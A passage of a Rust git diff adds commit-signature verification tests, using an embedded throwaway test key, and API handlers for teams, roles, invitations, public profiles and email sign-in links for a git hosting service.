lookup"); + unverified("invalid", "the signing key could not be looked up") + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::directory::{Credential, CredentialKind}; + use base64::Engine; + use russh::keys::ssh_key::{LineEnding, SshSig}; + + /// A throwaway ed25519 key, generated with `ssh-keygen` and pasted here so the test needs no + /// binary and no rand_core (see the `host_key` note in main.rs). Its fingerprint, + /// `SHA256:4RE6N1MZA852R72MTvoTtpbg/gfN4mbFpRIy7W0ei8E`, has upper-case letters — which is the + /// whole point. + const TEST_KEY: &str = "-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACDjDgvGHLBQbllMJ0mZD8phc152z5WbYfnwT9+FxjTfnQAAAJiaLxWEmi8V +hAAAAAtzc2gtZWQyNTUxOQAAACDjDgvGHLBQbllMJ0mZD8phc152z5WbYfnwT9+FxjTfnQ +AAAEC7fikKolcX288ZDKzeY1u7+Y6xCPYPSsHfKM1EP3nTn+MOC8YcsFBuWUwnSZkPymFz +XnbPlZth+fBP34XGNN+dAAAAEHRlc3RAZXhhbXBsZS5jb20BAgMEBQ== +-----END OPENSSH PRIVATE KEY----- +"; + + fn credential(id: String, material: String, fingerprints: Vec) -> Credential { + Credential { + id, + kind: CredentialKind::SigningKey, + owner: "alice".into(), + created_by: "alice@example.com".into(), + name: "laptop".into(), + material, + fingerprints, + created_at: mongodb::bson::DateTime::now(), + } + } + + /// What `signer_by_any` does, without Mongo: lowercase each candidate, exact match against + /// the stored `fingerprints`. The case bug lives exactly in this comparison. + fn lookup(creds: &[Credential], candidates: &[String]) -> Option { + creds + .iter() + .find(|c| candidates.iter().any(|x| c.fingerprints.contains(&x.to_lowercase()))) + .cloned() + } + + fn ssh_sign(payload: &[u8]) -> (Credential, SshSig) { + let key = russh::keys::PrivateKey::from_openssh(TEST_KEY).unwrap(); + let line = key.public_key().to_openssh().unwrap(); + // Through the registration helper, so the row is exactly what `add_key` writes. + let (fp, fingerprints) = crate::credentials::ssh_signing_fingerprints(&line).unwrap(); + let cred = credential(format!("sign:{fp}"), String::new(), fingerprints); + // Round-tripped through the armoured form git stores, so the parse path is exercised too. + let pem = key.sign("git", russh::keys::HashAlg::Sha256, payload).unwrap() + .to_pem(LineEnding::LF) + .unwrap(); + (cred, pem.parse().unwrap()) + } + + #[test] + fn an_ssh_signature_by_a_registered_key_is_valid() { + let payload = b"tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904\nauthor A 1 +0000\n\nmsg\n"; + let (cred, sig) = ssh_sign(payload); + // The stored spelling IS the spelling a signature presents — no lowercasing in the + // lookup in between. Without this the `lookup` mock's own `to_lowercase` would paper + // over registration going back to storing `SHA256:` verbatim. + assert_eq!(cred.fingerprints[0], ssh_signature_fingerprint(&sig)); + let known = lookup(&[cred], &[ssh_signature_fingerprint(&sig)]); + let v = judge_ssh(&sig, payload, known, "alice@example.com"); + assert_eq!(v.reason_code, "valid", "{:?}", v.reason); + assert_eq!(v.state, "verified"); + assert_eq!(v.signer.as_deref(), Some("alice@example.com")); + } + + #[test] + fn an_ssh_signature_by_somebody_elses_key_is_bad_email() { + let payload = b"commit body"; + let (cred, sig) = ssh_sign(payload); + let known = lookup(&[cred], &[ssh_signature_fingerprint(&sig)]); + assert_eq!(judge_ssh(&sig, payload, known, "bob@example.com").reason_code, "bad_email"); + } + + #[test] + fn an_ssh_signature_over_other_bytes_is_invalid() { + let (cred, sig) = ssh_sign(b"what was signed"); + let known = lookup(&[cred], &[ssh_signature_fingerprint(&sig)]); + assert_eq!(judge_ssh(&sig, b"what is claimed", known, "alice@example.com").reason_code, "invalid"); + } + + #[test] + fn an_unregistered_ssh_key_is_unknown() { + let (_, sig) = ssh_sign(b"x"); + assert_eq!(judge_ssh(&sig, b"x", None, "alice@example.com").reason_code, "unknown_key"); + } + + #[test] + fn a_gpg_signature_by_a_registered_subkey_is_valid() { + use crate::gpg::tests::{gen, reforge_subkey, subkey_signature}; + use pgp::composed::ArmorOptions; + let now = std::time::SystemTime::now(); + let sk = gen("alice@example.com", now); + let pk = reforge_subkey(&sk, now, Some(10 * 365 * 86400), false); + let armored = pk.to_armored_string(ArmorOptions::default()).unwrap(); + // Registration indexes the primary AND every subkey (`fingerprints_of`), which is what + // lets a subkey-made signature find its owner. + let fingerprints = crate::gpg::fingerprints_of(&armored).unwrap(); + let cred = credential(format!("sign:{}", fingerprints[0]), armored, fingerprints); + + let payload = b"commit body"; + let signed = SignatureOf { + signature: subkey_signature(&sk, payload), + payload_base64: base64::engine::general_purpose::STANDARD.encode(payload), + author_email: "alice@example.com".into(), + }; + let issuers = crate::gpg::issuers(&signed.signature).unwrap(); + let v = judge_pgp(lookup(&[cred.clone()], &issuers), &signed, payload); + assert_eq!(v.reason_code, "valid", "{:?}", v.reason); + assert_eq!(v.state, "verified"); + + let other = SignatureOf { author_email: "bob@example.com".into(), ..signed.clone() }; + assert_eq!(judge_pgp(lookup(&[cred.clone()], &issuers), &other, payload).reason_code, "bad_email"); + assert_eq!(judge_pgp(None, &other, payload).reason_code, "unknown_key"); + + // Bob registers a key whose uid claims alice's address and signs a commit authored as + // alice: the maths and the uid both pass, and it must still not read as verified. + let bobs = Credential { created_by: "bob@example.com".into(), ..cred }; + let v = judge_pgp(Some(bobs), &signed, payload); + assert_eq!(v.state, "unverified"); + assert_eq!(v.reason_code, "bad_email"); + } +} diff --git a/crates/api/src/teams.rs b/crates/api/src/teams.rs new file mode 100644 index 00000000..53adba64 --- /dev/null +++ b/crates/api/src/teams.rs @@ -0,0 +1,987 @@ +use super::*; + +// ── teams ─────────────────────────────────────────────────────────────────── +// +// Callers are trusted infrastructure, not browsers: the web app holds the peer +// secret and states which signed-in user it is acting for. The end user's +// identity is never taken from anything the browser can set. + +#[derive(serde::Deserialize)] +pub(crate) struct NewTeam { + slug: String, + name: String, +} + + +pub(crate) async fn create_team( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(t) => t, + Err(r) => return r, + }; + match db.create(body.slug.trim(), &body.name, &user).await { + Ok(Some(team)) => (StatusCode::CREATED, axum::Json(team)).into_response(), + // Taken, not an error: the caller shows "that handle is in use" and the + // form stays on screen. + Ok(None) => (StatusCode::CONFLICT, "handle already taken").into_response(), + Err(e) => { + let msg = e.to_string(); + // A rejected handle is the caller's mistake; anything else is ours and + // must not echo the database's words back to a user. + if msg.contains("invalid team handle") || msg.contains("team name required") { + return (StatusCode::BAD_REQUEST, msg).into_response(); + } + tracing::error!(error = %msg, "create team"); + (StatusCode::BAD_GATEWAY, "could not create team").into_response() + } + } +} + +pub(crate) async fn list_teams(State(api): State>, headers: axum::http::HeaderMap) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(t) => t, + Err(r) => return r, + }; + match db.for_user(&user).await { + Ok(list) => axum::Json(list).into_response(), + Err(e) => { + tracing::error!(user = %user, error = %e, "list teams"); + (StatusCode::BAD_GATEWAY, "could not list teams").into_response() + } + } +} + +/// What sign-in answers with: who they are, and the token to present next time. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct SignIn { + user: crate::directory::User, + /// `None` when the server has no signing key: the user still exists, but the + /// caller must keep using the peer path rather than silently treating an + /// absent token as a valid one. + token: Option, + expires_in: u64, +} + +#[derive(serde::Deserialize)] +pub(crate) struct NewUser { + email: String, + #[serde(default)] + name: String, +} + +pub(crate) async fn upsert_user( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + // Peer only: this route MINTS a session, so a session must not be able to call it — a leaked + // token would otherwise renew itself for as long as the holder likes. The peer's assertion of + // who signed in must still agree with the body, or a caller holding the secret could mint any + // identity it likes. + let asserted = match peer_only(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + if asserted.to_lowercase() != body.email.trim().to_lowercase() { + return (StatusCode::BAD_REQUEST, "caller identity does not match the body").into_response(); + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.upsert_user(&body.email, &body.name).await { + Ok(u) => { + // The token is minted here and nowhere else, so the signing key lives + // in one process. The web app receives it and presents it on every + // later call rather than re-asserting who the user is. + let token = match api.jwt.as_deref() { + Some(j) => match j.mint(&u.email, &u.name, u.username.as_deref()) { + Ok(t) => Some(t), + Err(e) => { + tracing::error!(error = %e, "minting token"); + return (StatusCode::BAD_GATEWAY, "could not issue a token").into_response(); + } + }, + None => None, + }; + axum::Json(SignIn { user: u, token, expires_in: crate::jwt::TTL_SECS }).into_response() + } + Err(e) => { + let msg = e.to_string(); + if msg.contains("valid email") { + return (StatusCode::BAD_REQUEST, msg).into_response(); + } + tracing::error!(error = %msg, "upsert user"); + (StatusCode::BAD_GATEWAY, "could not record user").into_response() + } + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct NewUsername { + username: String, +} + +pub(crate) async fn claim_username( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match db.claim_username(&user, &body.username).await { + Ok(Some(u)) => { + // A new token: the old one says they have no handle, and every caller + // reads that claim rather than asking again. + let token = match api.jwt.as_deref() { + Some(j) => match j.mint(&u.email, &u.name, u.username.as_deref()) { + Ok(t) => Some(t), + Err(e) => { + tracing::error!(error = %e, "minting token"); + return (StatusCode::BAD_GATEWAY, "could not issue a token").into_response(); + } + }, + None => None, + }; + axum::Json(SignIn { user: u, token, expires_in: crate::jwt::TTL_SECS }).into_response() + } + Ok(None) => (StatusCode::CONFLICT, "that handle is taken").into_response(), + Err(e) => { + let msg = e.to_string(); + // Every rule in check_handle is the caller's to fix, and the message + // says which rule — it is shown under the field. + if msg.contains("handle") || msg.contains("username already set") || msg.contains("no such user") { + return (StatusCode::BAD_REQUEST, msg).into_response(); + } + tracing::error!(error = %msg, "claim username"); + (StatusCode::BAD_GATEWAY, "could not claim that handle").into_response() + } + } +} + +// ── one team: read, settings, members, invitations ────────────────────────── +// +// The role model, whole, so nobody has to reassemble it from the checks below: +// +// member everything in the product — repos, images, workspaces, environments — and the +// team's name and description. NOT inviting, NOT changing roles, NOT deleting. +// admin member, plus inviting and making other people admins. +// owner admin, plus making other people owners and deleting the team. +// +// Owners are additive: a team may have several, and an owner promotes another owner rather +// than handing over. The only rule that binds an owner is that the LAST one cannot step down +// or be removed — enforced in the directory, where every caller inherits it. +// +// Every route here authorizes on the members array of the team it names. The slug in the path +// says WHICH team; it never says whether the caller may touch it. A non-member gets 404, not 403, +// so the routes cannot be used to learn which slugs exist — the same shape the repo routes use. + +use crate::directory::{AcceptInvite, DeleteTeam, Invite, Membership, Role, Team}; +use sha2::Digest; + +/// A member as the page shows them: the directory row joined onto the membership entry. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct MemberDoc { + email: String, + name: String, + /// Absent for someone who signed in but never picked a handle. They can still hold a role. + #[serde(skip_serializing_if = "Option::is_none")] + username: Option, + role: Role, + joined_at: String, +} + +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct TeamDoc { + slug: String, + name: String, + description: String, + created_at: String, + /// The public face, so the settings page renders its own current state without a second + /// request. Any member may read it; only an admin may change it. + public: bool, + tagline: String, + location: String, + website: String, + email: String, + pins: Vec, + /// The caller's own role, so the page can decide which controls to render without a second + /// request — and the server still refuses anything the role does not permit. + your_role: Role, + members: Vec, + /// Open invitations. Only admins and owners see them — a member cannot invite, so has no + /// business knowing who was asked. + invites: Vec, +} + +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct InviteDoc { + id: String, + email: String, + role: Role, + invited_by: String, + expires_at: String, +} + +/// The team, with the caller's role in it — or the response that ends the request. `min` is the +/// least role that may proceed; `None` means any member. +async fn team_for<'a>( + api: &'a Api, + headers: &axum::http::HeaderMap, + slug: &str, + min: Option, +) -> std::result::Result<(String, Team, Role, &'a crate::directory::Directory), Response> { + let user = caller(api, headers)?; + let db = directory(api)?; + let team = match db.get(slug).await { + Ok(Some(t)) => t, + Ok(None) => return Err((StatusCode::NOT_FOUND, "no such team").into_response()), + Err(e) => { + tracing::error!(team = %slug, error = %e, "read team"); + return Err((StatusCode::BAD_GATEWAY, "could not read team").into_response()); + } + }; + let Some(role) = crate::directory::Directory::role_of(&team, &user) else { + return Err((StatusCode::NOT_FOUND, "no such team").into_response()); + }; + if let Some(min) = min { + if rank(role) < rank(min) { + return Err((StatusCode::FORBIDDEN, "your role does not allow that").into_response()); + } + } + Ok((user, team, role, db)) +} + +/// Owner > Admin > Member. The enum's declaration order says the same thing, but a comparison +/// that depends on declaration order is a comparison that silently breaks on a reorder. +fn rank(r: Role) -> u8 { + match r { + Role::Owner => 2, + Role::Admin => 1, + Role::Member => 0, + } +} + +fn db_err(what: &str, slug: &str, e: impl std::fmt::Display) -> Response { + tracing::error!(team = %slug, error = %e, "{what}"); + (StatusCode::BAD_GATEWAY, format!("could not {what}")).into_response() +} + +pub(crate) async fn get_team( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(slug): axum::extract::Path, +) -> Response { + let (_, _, role, db) = match team_for(&api, &headers, &slug, None).await { + Ok(v) => v, + Err(r) => return r, + }; + let (team, users) = match db.describe(&slug).await { + Ok(Some(v)) => v, + Ok(None) => return (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) => return db_err("read team", &slug, e), + }; + let invites = if rank(role) >= rank(Role::Admin) { + match db.invites_for(&slug).await { + Ok(list) => list + .into_iter() + .map(|i| InviteDoc { + id: i.id, + email: i.email, + role: i.role, + invited_by: i.invited_by, + expires_at: i.expires_at.try_to_rfc3339_string().unwrap_or_default(), + }) + .collect(), + Err(e) => return db_err("read invitations", &slug, e), + } + } else { + Vec::new() + }; + let members = team + .members + .iter() + .map(|m| { + let u = users.iter().find(|u| u.email.eq_ignore_ascii_case(&m.user)); + MemberDoc { + email: m.user.clone(), + // Email as the name for a row the directory no longer has: the role still exists + // and the page must show who holds it. + name: u.map(|u| u.name.clone()).unwrap_or_else(|| m.user.clone()), + username: u.and_then(|u| u.username.clone()), + role: m.role, + joined_at: m.joined_at.try_to_rfc3339_string().unwrap_or_default(), + } + }) + .collect(); + axum::Json(TeamDoc { + slug: team.slug, + name: team.name, + description: team.description, + created_at: team.created_at.try_to_rfc3339_string().unwrap_or_default(), + public: team.public, + tagline: team.tagline, + location: team.location, + website: team.website, + email: team.email, + pins: team.pins, + your_role: role, + members, + invites, + }) + .into_response() +} + +#[derive(serde::Deserialize)] +pub(crate) struct TeamPatch { + name: String, + #[serde(default)] + description: String, + /// Governance, not work: only owners and admins may change what the public sees. + #[serde(default)] + profile: Option, +} + +/// Replace, not merge: every field defaults, so a `profile` block that omits one CLEARS it. +/// The settings form must always send the whole object as it should end up. +#[derive(serde::Deserialize)] +pub(crate) struct ProfilePatch { + #[serde(default)] + public: bool, + #[serde(default)] + tagline: String, + #[serde(default)] + location: String, + #[serde(default)] + website: String, + #[serde(default)] + email: String, + #[serde(default)] + pins: Vec, +} + +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct ProfileDoc { + slug: String, + name: String, + description: String, + tagline: String, + location: String, + website: String, + email: String, + member_count: usize, + pins: Vec, + repos: Vec, +} + +/// A repo as a STRANGER may see it. `RepoOut` carries `created_by` — a person's email address — +/// which has no business on an anonymous route. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct PublicRepo { + name: String, + description: String, + public: bool, + created_at: i64, +} + +/// Drop what a stranger may not see: private repos, and pins that name a private or deleted repo. +/// Pure so it has a test; `team_profile` applies it to a listing fetched with `include_private: +/// false` anyway — this is the belt to that route's braces. +pub(crate) fn public_face( + repos: Vec, + pins: Vec, +) -> (Vec, Vec) { + let repos: Vec<_> = repos.into_iter().filter(|r| r.public).collect(); + let pins = pins.into_iter().filter(|p| repos.iter().any(|r| &r.name == p)).collect(); + (repos, pins) +} + +/// `GET /v1/teams/{slug}/profile` — anonymous. 404 for a team that is not public, worded the same +/// as for a team that does not exist, so the route cannot be used to enumerate private teams. +pub(crate) async fn team_profile( + State(api): State>, + axum::extract::Path(slug): axum::extract::Path, +) -> Response { + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let team = match db.get(&slug).await { + Ok(Some(t)) if t.public => t, + Ok(_) => return (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) => return db_err("read team", &slug, e), + }; + // `false`: this caller proved nothing. + let repos = match crate::repos::repo_listing(&api, &slug, false).await { + Ok(r) => r, + Err(e) => { + tracing::error!(team = %slug, error = %e, "profile repos"); + return (StatusCode::BAD_GATEWAY, "could not read the team").into_response(); + } + }; + let (repos, pins) = public_face(repos, team.pins); + let repos = repos + .into_iter() + .map(|r| PublicRepo { name: r.name, description: r.description, public: r.public, created_at: r.created_at }) + .collect(); + axum::Json(ProfileDoc { + slug: team.slug, + name: team.name, + description: team.description, + tagline: team.tagline, + location: team.location, + website: team.website, + email: team.email, + member_count: team.members.len(), + pins, + repos, + }) + .into_response() +} + +pub(crate) async fn update_team( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(slug): axum::extract::Path, + axum::Json(body): axum::Json, +) -> Response { + // Any member: the name and description are part of the work, not of governance. + let (_, _, role, db) = match team_for(&api, &headers, &slug, None).await { + Ok(v) => v, + Err(r) => return r, + }; + // Before the write: a member who sends `profile` must change NOTHING, not just fail the + // second half after the name has already moved. + if body.profile.is_some() && rank(role) < rank(Role::Admin) { + return (StatusCode::FORBIDDEN, "owner or admin only").into_response(); + } + match db.update_team(&slug, &body.name, &body.description).await { + Ok(true) => {} + Ok(false) => return (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) if e.to_string().contains("team name required") => { + return (StatusCode::BAD_REQUEST, "team name required").into_response() + } + Err(e) => return db_err("update team", &slug, e), + } + let Some(p) = body.profile else { + return StatusCode::NO_CONTENT.into_response(); + }; + // Pins are checked against the team's FULL listing — a member may pin a private repo, and + // the profile route is what hides it from strangers. + let names = match crate::repos::repo_listing(&api, &slug, true).await { + Ok(r) => r.into_iter().map(|r| r.name).collect::>(), + Err(e) => { + tracing::error!(team = %slug, error = %e, "profile repos"); + return (StatusCode::BAD_GATEWAY, "could not read the team").into_response(); + } + }; + let pins = match crate::directory::check_pins(&p.pins, &names) { + Ok(v) => v, + Err(e) => return (StatusCode::BAD_REQUEST, e.to_string()).into_response(), + }; + if let Err(msg) = check_website(&p.website) { + return (StatusCode::BAD_REQUEST, msg).into_response(); + } + let profile = crate::directory::TeamProfile { + public: p.public, + tagline: p.tagline, + location: p.location, + website: p.website, + email: p.email, + pins, + }; + match db.update_profile(&slug, &profile).await { + Ok(true) => StatusCode::NO_CONTENT.into_response(), + Ok(false) => (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) => db_err("update team", &slug, e), + } +} + +/// The profile website goes onto a PUBLIC page as an `href`, so the scheme is decided here and +/// not left to whichever renderer's sanitiser happens to be in front of it: `javascript:`, +/// `data:` and friends are refused, not stored. Empty clears it. +fn check_website(w: &str) -> std::result::Result<(), &'static str> { + if w.is_empty() { + return Ok(()); + } + if w.len() > 2048 { + return Err("website is too long"); + } + let rest = w + .strip_prefix("https://") + .or_else(|| w.strip_prefix("http://")) + .ok_or("website must start with http:// or https://")?; + // A host is what makes it a link; whitespace or a control character would let the value + // reshape the attribute it lands in. + if rest.is_empty() || w.chars().any(|c| c.is_whitespace() || c.is_control()) { + return Err("website must be a valid http:// or https:// URL"); + } + Ok(()) +} + +/// Who may grant which role. Written once here and read by both invite and set_role, so the +/// two cannot drift: an admin grants member or admin; an owner grants any. +fn may_grant(by: Role, role: Role) -> bool { + match role { + Role::Member | Role::Admin => rank(by) >= rank(Role::Admin), + Role::Owner => by == Role::Owner, + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct NewInvite { + email: String, + #[serde(default = "member_role")] + role: Role, +} + +fn member_role() -> Role { + Role::Member +} + +/// What the caller gets back, ONCE: the raw token, which it puts in the email. Nothing here +/// stores it — the directory holds its hash. +#[derive(serde::Serialize)] +pub(crate) struct IssuedInvite { + id: String, + token: String, + email: String, + role: Role, + /// So the mail can say which team, without the web app making a second request. + team_name: String, +} + +const INVITE_TTL_DAYS: i64 = 7; + +fn invite_id(token: &str) -> String { + rustic_git_core::hex(&sha2::Sha256::digest(token.as_bytes())) +} + +pub(crate) async fn create_invite( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(slug): axum::extract::Path, + axum::Json(body): axum::Json, +) -> Response { + let (user, team, role, db) = match team_for(&api, &headers, &slug, Some(Role::Admin)).await { + Ok(v) => v, + Err(r) => return r, + }; + if !may_grant(role, body.role) { + return (StatusCode::FORBIDDEN, "only an owner can invite an owner").into_response(); + } + let email = body.email.trim().to_lowercase(); + if !email.contains('@') { + return (StatusCode::BAD_REQUEST, "a valid email is required").into_response(); + } + if crate::directory::Directory::role_of(&team, &email).is_some() { + return (StatusCode::CONFLICT, "already a member").into_response(); + } + // 32 random bytes, hex: unguessable, and URL-safe without encoding. + let token = { + use rand::RngCore; + let mut b = [0u8; 32]; + rand::thread_rng().fill_bytes(&mut b); + rustic_git_core::hex(&b) + }; + let now = mongodb::bson::DateTime::now(); + let invite = Invite { + id: invite_id(&token), + team: slug.clone(), + email: email.clone(), + role: body.role, + invited_by: user, + created_at: now, + expires_at: mongodb::bson::DateTime::from_millis(now.timestamp_millis() + INVITE_TTL_DAYS * 86_400_000), + }; + match db.create_invite(&invite).await { + Ok(()) => ( + StatusCode::CREATED, + axum::Json(IssuedInvite { id: invite.id, token, email, role: body.role, team_name: team.name }), + ) + .into_response(), + Err(e) => db_err("create invitation", &slug, e), + } +} + +pub(crate) async fn revoke_invite( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path((slug, id)): axum::extract::Path<(String, String)>, +) -> Response { + let (_, _, _, db) = match team_for(&api, &headers, &slug, Some(Role::Admin)).await { + Ok(v) => v, + Err(r) => return r, + }; + match db.revoke_invite(&slug, &id).await { + Ok(true) => StatusCode::NO_CONTENT.into_response(), + Ok(false) => (StatusCode::NOT_FOUND, "no such invitation").into_response(), + Err(e) => db_err("revoke invitation", &slug, e), + } +} + +/// What an invitation is for, shown on the accept page before the person commits. Needs a +/// session — a link alone reveals nothing — and answers 404 for a token that is spent, +/// expired or made up, all alike. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct InvitePreview { + team: String, + team_name: String, + email: String, + role: Role, + invited_by: String, +} + +pub(crate) async fn preview_invite( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(token): axum::extract::Path, +) -> Response { + if caller(&api, &headers).is_err() { + return crate::auth::unauthorized(); + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let id = invite_id(&token); + let inv = match db.invite(&id).await { + Ok(Some(i)) => i, + Ok(None) => return (StatusCode::NOT_FOUND, "no such invitation").into_response(), + Err(e) => return db_err("read invitation", &id, e), + }; + let team_name = match db.get(&inv.team).await { + Ok(Some(t)) => t.name, + Ok(None) => return (StatusCode::NOT_FOUND, "no such invitation").into_response(), + Err(e) => return db_err("read invitation", &id, e), + }; + axum::Json(InvitePreview { + team: inv.team, + team_name, + email: inv.email, + role: inv.role, + invited_by: inv.invited_by, + }) + .into_response() +} + +pub(crate) async fn accept_invite( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(token): axum::extract::Path, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let id = invite_id(&token); + match db.accept_invite(&id, &user).await { + Ok(AcceptInvite::Joined(team)) => axum::Json(serde_json::json!({ "team": team })).into_response(), + // Signed in as someone else. Said plainly, because the fix is on their side: sign in + // with the address the invitation was sent to. + Ok(AcceptInvite::WrongEmail) => ( + StatusCode::FORBIDDEN, + "this invitation was sent to a different email address", + ) + .into_response(), + Ok(AcceptInvite::NoSuchUser) => (StatusCode::CONFLICT, "sign in first").into_response(), + Ok(AcceptInvite::Gone) => (StatusCode::NOT_FOUND, "no such invitation").into_response(), + Err(e) => db_err("accept invitation", &id, e), + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct RolePatch { + role: Role, +} + +pub(crate) async fn set_role( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path((slug, email)): axum::extract::Path<(String, String)>, + axum::Json(body): axum::Json, +) -> Response { + let (_, team, role, db) = match team_for(&api, &headers, &slug, Some(Role::Admin)).await { + Ok(v) => v, + Err(r) => return r, + }; + let target = crate::directory::Directory::role_of(&team, &email); + // Granting the new role AND touching the old one both have to be within reach: an admin + // may not demote an owner, however low the new role is. + let allowed = may_grant(role, body.role) && target.is_none_or(|t| may_grant(role, t)); + if !allowed { + return (StatusCode::FORBIDDEN, "your role does not allow that change").into_response(); + } + match db.set_role(&slug, &email, body.role).await { + Ok(Membership::Done) => StatusCode::NO_CONTENT.into_response(), + Ok(Membership::NotAMember) => (StatusCode::NOT_FOUND, "not a member").into_response(), + Ok(Membership::LastOwner) => { + (StatusCode::CONFLICT, "a team must keep at least one owner").into_response() + } + Ok(Membership::NoSuchTeam) => (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) => db_err("change role", &slug, e), + } +} + +pub(crate) async fn remove_member( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path((slug, email)): axum::extract::Path<(String, String)>, +) -> Response { + // Any member may remove THEMSELVES; removing someone else takes admin, and removing an + // owner takes an owner. + let (user, team, role, db) = match team_for(&api, &headers, &slug, None).await { + Ok(v) => v, + Err(r) => return r, + }; + let leaving = user.eq_ignore_ascii_case(&email); + let target = crate::directory::Directory::role_of(&team, &email); + // Removing someone is the same reach as changing their role: an admin removes members and + // admins, an owner removes anyone. Leaving is always yours to do. + if !leaving && !target.is_some_and(|t| may_grant(role, t)) { + return (StatusCode::FORBIDDEN, "your role does not allow that").into_response(); + } + match db.remove_member(&slug, &email).await { + Ok(Membership::Done) => StatusCode::NO_CONTENT.into_response(), + Ok(Membership::NotAMember) => (StatusCode::NOT_FOUND, "not a member").into_response(), + Ok(Membership::LastOwner) => ( + StatusCode::CONFLICT, + if leaving { + "transfer ownership before leaving" + } else { + "a team must keep at least one owner" + }, + ) + .into_response(), + Ok(Membership::NoSuchTeam) => (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) => db_err("remove member", &slug, e), + } +} + +pub(crate) async fn delete_team( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(slug): axum::extract::Path, +) -> Response { + let (user, _, _, db) = match team_for(&api, &headers, &slug, Some(Role::Owner)).await { + Ok(v) => v, + Err(r) => return r, + }; + match db.delete_team(&slug).await { + Ok(DeleteTeam::Deleted) => { + tracing::info!(team = %slug, by = %user, "team deleted"); + StatusCode::NO_CONTENT.into_response() + } + // Worded for the person: what is in the way, and what to do about it. + Ok(DeleteTeam::StillOwns { repos }) => ( + StatusCode::CONFLICT, + format!( + "{slug} still owns {repos} {}; delete or move them first", + if repos == 1 { "repository" } else { "repositories" } + ), + ) + .into_response(), + Ok(DeleteTeam::NoSuchTeam) => (StatusCode::NOT_FOUND, "no such team").into_response(), + Err(e) => db_err("delete team", &slug, e), + } +} + +// ── magic sign-in links ────────────────────────────────────────────────────── +// +// Passwordless email sign-in. The web app asks for a link on someone's behalf, mails it, and +// redeems it when they click. Both calls are peer-only: no session exists yet on either side, +// and a Bearer path here would let a leaked token mint sign-in links for any address. The +// raw token is returned once and stored only as a hash. +// +// ponytail: no rate limit on minting. Cheap to abuse as a mail cannon against one address; +// add a per-email cooldown (one open link at a time) if it is ever pointed at someone. + +const SIGNIN_TTL_MINUTES: i64 = 15; + +#[derive(serde::Deserialize)] +pub(crate) struct SignInRequest { + email: String, +} + +#[derive(serde::Serialize)] +pub(crate) struct SignInLinkIssued { + token: String, + email: String, +} + +pub(crate) async fn create_signin_link( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + if let Err(r) = peer_only(&api, &headers) { + return r; + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let email = body.email.trim().to_lowercase(); + if !email.contains('@') || email.contains(char::is_whitespace) { + return (StatusCode::BAD_REQUEST, "a valid email is required").into_response(); + } + let token = { + use rand::RngCore; + let mut b = [0u8; 32]; + rand::thread_rng().fill_bytes(&mut b); + rustic_git_core::hex(&b) + }; + let now = mongodb::bson::DateTime::now(); + let link = crate::directory::SignInLink { + id: invite_id(&token), + email: email.clone(), + created_at: now, + expires_at: mongodb::bson::DateTime::from_millis(now.timestamp_millis() + SIGNIN_TTL_MINUTES * 60_000), + }; + match db.create_signin(&link).await { + Ok(()) => (StatusCode::CREATED, axum::Json(SignInLinkIssued { token, email })).into_response(), + Err(e) => db_err("create sign-in link", &link.id, e), + } +} + +pub(crate) async fn redeem_signin_link( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Path(token): axum::extract::Path, +) -> Response { + if let Err(r) = peer_only(&api, &headers) { + return r; + } + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + let id = invite_id(&token); + match db.redeem_signin(&id).await { + Ok(Some(email)) => axum::Json(serde_json::json!({ "email": email })).into_response(), + Ok(None) => 